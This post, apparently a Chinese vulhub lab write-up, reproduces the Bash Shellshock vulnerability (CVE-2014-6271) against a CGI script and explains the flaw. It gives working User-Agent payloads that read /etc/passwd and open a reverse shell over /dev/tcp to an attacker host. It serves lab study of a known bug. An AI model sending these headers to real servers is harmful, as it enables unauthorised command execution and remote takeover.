微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

vulhub漏洞复现-bash shellshock(CVE-2014-6271)“破壳“任意命令执行

bash shellshock

Bash是一个命令处理器,通常运行于文本窗口中,并能执行用户直接输入的命令。Bash还能从文件中读取命令,这样的文件称为脚本。运作的整体流程是,HTTP请求->env环境变量设置函数处理请求头参数->bash对处理后的结果进行eval代码执行->bash将执行后的结果保留在HTTP的环境变量参数中->bashCGI 向客户端返回数据包时将环境参数一并返回

在这里插入图片描述

思路

由于bash使用的环境变量是通过函数名称调用的,所以用“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令,如果我们在后面拼接恶意代码,就会执行。对于CGI脚本来说,HTTP协议中的“key-value”都会变为shell中的“环境变量=值”。

漏洞复现

docker部署环境,完成后访问victim.cgi

在这里插入图片描述

在这里插入图片描述

抓包修改User-Agent

User-Agent:  () { :; }; echo; /bin/cat /etc/passwd
			 () { :; }; echo; echo $( /bin/cat /etc/passwd)

部署环境尽量在虚拟机,在服务器上好多地方会出问题

在这里插入图片描述

反弹shell

User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.1.109/1234 0>&1;

在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐